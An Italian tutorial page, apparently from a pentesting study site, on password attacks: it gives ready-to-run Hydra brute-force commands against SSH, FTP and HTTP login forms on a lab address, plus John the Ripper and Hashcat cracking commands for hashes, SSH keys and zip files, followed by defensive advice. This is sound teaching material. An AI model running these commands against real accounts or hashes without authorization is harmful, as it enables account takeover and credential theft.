Home › Exploitation › Attacchi alle password

Attacchi alle password

Due scenari: online (provi login su un servizio) e offline (hai un hash e lo craccki). Strumenti: Hydra, John, Hashcat.

Teoria

  • Brute force: provi tutte le combinazioni. Lento, ma completo.
  • Dictionary attack: provi parole da una wordlist (la più famosa: rockyou.txt). Veloce ed efficace sulle password reali.
  • Hash: le password sono salvate come impronte irreversibili (MD5, SHA, bcrypt...). Non si "decriptano": si craccano provando candidati e confrontando l'hash.
  • Salt: valore casuale aggiunto prima dell'hashing; rende inutili le rainbow table.

Online — Hydra

Provare tante password contro un servizio di login vivo:

# SSH
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.123.45

# FTP
hydra -L utenti.txt -P rockyou.txt ftp://10.10.123.45

# form di login HTTP POST (la parte dopo :FAIL: è il testo di errore della pagina)
hydra -l admin -P rockyou.txt 10.10.123.45 http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:F=Invalid credentials"
  • -l = un utente · -L = lista utenti · -p = una password · -P = lista password.
Il brute force online è rumoroso e può bloccare account/IP. Nei lab va bene; in un test reale usalo con testa e nel rispetto delle regole d'ingaggio.

Offline — identificare l'hash

hashid '$1$abc$...'          # che tipo di hash è
# $1$=MD5crypt  $6$=SHA512crypt  $2y$=bcrypt  32 hex=MD5  ecc.

Offline — John the Ripper

# cracking semplice con wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# mostra le password già trovate
john --show hash.txt

# craccare una chiave SSH protetta da passphrase
ssh2john id_rsa > ssh.hash && john --wordlist=rockyou.txt ssh.hash
# craccare uno zip protetto
zip2john file.zip > zip.hash && john --wordlist=rockyou.txt zip.hash

Offline — Hashcat (usa la GPU, veloce)

# -m = tipo hash (0=MD5, 1000=NTLM, 1800=SHA512crypt, 22000=WPA2)
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# con regole (muta le parole: Password -> P@ssw0rd)
hashcat -m 0 -a 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Scompatta rockyou la prima volta: sudo gunzip /usr/share/wordlists/rockyou.txt.gz. Per gli hash NTLM di Windows vedi Privesc Windows.

Difesa

  • Password lunghe + gestore di password; MFA ovunque.
  • Hashing lento e salato (bcrypt, argon2), mai MD5/SHA1 nudi.
  • Rate limiting e lockout sui login; monitoraggio dei tentativi.
Sui tuoi libri: capitoli su password/hash in Gray Hat Hacking, Hacking Exposed, Computer Security and Cryptography. Vedi Risorse.